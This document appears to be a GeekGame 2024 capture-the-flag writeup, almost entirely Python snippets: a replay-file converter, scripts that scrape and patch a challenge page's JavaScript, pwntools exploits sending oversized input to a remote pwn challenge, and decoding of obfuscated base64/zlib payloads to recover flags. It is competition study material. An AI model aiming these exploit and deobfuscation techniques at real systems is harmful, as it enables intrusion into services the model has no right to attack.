2024 GeekGame 2024 writeup

def input_to_bin(l: str) -> int:
    in2 = l.split('|')[2]
    b = 0
    for i,j in enumerate(in2):
        if j == '.':
            pass
        else:
            b = b | (1 << (7-i))
    print(in2,bin(b),hex(b))
    return b
                    

def fm2_to_bin(lines: list) -> bytes:
    fm2bin = []
    for l in lines:
        if l.startswith('|0|'):
            fm2bin.append(input_to_bin(l))
    # print(fm2bin)
    return bytearray(fm2bin)

if __name__ == '__main__':
    import sys
    with open(sys.argv[2], 'r') as f:
        fm2bin = fm2_to_bin(f.readlines())
    with open(sys.argv[1], 'wb') as f:
        f.write(fm2bin)

import requests
import re

url =  'https://prob05.geekgame.pku.edu.cn/page2'
html = 'page2.html'
cookies = {
    'anticheat_canary': '[anticheat canary]',
    'session': '[your session]'
}
# 下载html文件 
response = requests.get(url, cookies=cookies)
if response.text.startswith('Token'):
    print(f'登陆失败 {response.text}')
else:
    with open(html, 'wb') as file:
        # 修改js文件路径
        content = response.content.replace(b'/static/js/page2.max.js', b'page2.max.js')
        file.write(content)
        print('html 文件下载成功！')
        html = response.text
        # 保存等会提交请求要用的凭证
		r = re.search('ts.+value=\"(\d+)\"', html)
	    ts = r.groups()[0]
	    r = re.search('certificate.+value=\"(.+)\"', html)
	    certificate = r.groups()[0]
	    print(f'ts:{ts}\ncertificate:{certificate}')
	    with open('ts.txt', 'w') as f:
	        f.write(ts)
	    with open('certificate.txt', 'w') as f:
	        f.write(certificate)

url =  'https://prob05.geekgame.pku.edu.cn/static/js/page2.max.js'
js = 'page2.max.js'
# 下载js文件
response = requests.get(url, cookies=cookies)
if response.text.startswith('Token'):
    print(f'登陆失败 {response.text}')
else:
    with open(js, 'w') as file:
        content = response.text
        # 让 js文件里的 setTimeout setInterval 函数失效，
        # 防止页面转跳
        content = content.replace('setTimeout', 'console.log')
        content = content.replace('setInterval', 'console.log')
        # 调整 shadow DOM 的设置
        content = content.replace("_0x58d552['mode']=_0x4eb293[_0xe7c12d(a0_0x523a18._0x1aeec6,0x16c7)]", "_0x58d552['mode']='open'")
        file.write(content)
    print('js 文件下载成功！')

from pwn import *
a = b'4'
b = b'a'*0x102
c = b'49'
p = remote('prob11.geekgame.pku.edu.cn', 10011)
print(p.recvuntil(b'Please input your token:'))
p.sendline(b'[your:token]')
print(p.recvuntil(b"please enter the size to output your flag: "))
print(f'> {a}')
p.sendline(a)
print(p.recvuntil(b"please enter the content to read to buffer (max 0x100 bytes): "))
print(f'> {b}')
p.sendline(b)
print(p.recvuntil(b'please enter the size to read to the buffer:'))
print(f'> {c}')
p.sendline(c)
p.interactive()

# 别人的解法
# https://ouuan.moe/post/2024/10/geekgame-2024#fast-or-clever
from pwn import *
import sys

p = remote('prob11.geekgame.pku.edu.cn', 10011)
p.sendlineafter(b': ', b'1549:token')
p.sendlineafter(b': ', b'4')
p.sendlineafter(b': \n', b'A')
p.sendline(b'100')
p.interactive()

import marshal, random, base64

if random.randint(0, 65535) == 54830:
    exec(marshal.loads(base64.b64decode(b'YwAAAGU+A......KAAAABAEBEP8C/w==')))

import base64
with open('main.pyc','wb') as f:
    f.write(base64.b64decode(b'YwAAAGU+A......KAAAABAEBEP8C/w=='))

code = b'eJzFV11P.......arbv5uOKFU='
eval("exec")(getattr(__import__("zlib"), "decompress")(getattr(__import__("base64"), "b64decode")(code)))

import base64,zlib
code = b'eJzFV11P.......arbv5uOKFU='
c = zlib.decompress(base64.b64decode(code)).decode()
with open('main.py','w') as f:
    f.write(c)

tree = Splay()
flag = input("Please enter the flag: ")
for chr in flag:
    tree.insert(random.random(), ord(chr))
for _ in range(0x100):
    random_splay(tree)

def walk_tree(node):
    s = []
    if node != None:
        s +=  [node.value]
        s += walk_tree(node.left)
        s += walk_tree(node.right)
    return s

if random.randint(0, 0xFFFF) == 54830:
    input_flag = "abcdefghijklmnopgrstuvwxyz1234567890"
    tree = Splay()
    for n in range(len(input_flag)):
        tree.insert(random.random(), n)
    for _ in range(0x100):
        random_rotate(tree)
    a = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")
    b = [chr(i ^ random.randint(0, 0xFF)) for i in a]
    c = walk_tree(tree.root)
    # print('b: ',str(b))
    # print('c: ',str(c))
    for i in range(36):
        print(b[c.index(i)],end='')
# flag{YOU_ArE_7ru3lY_m@SteR_oF_sPLAY}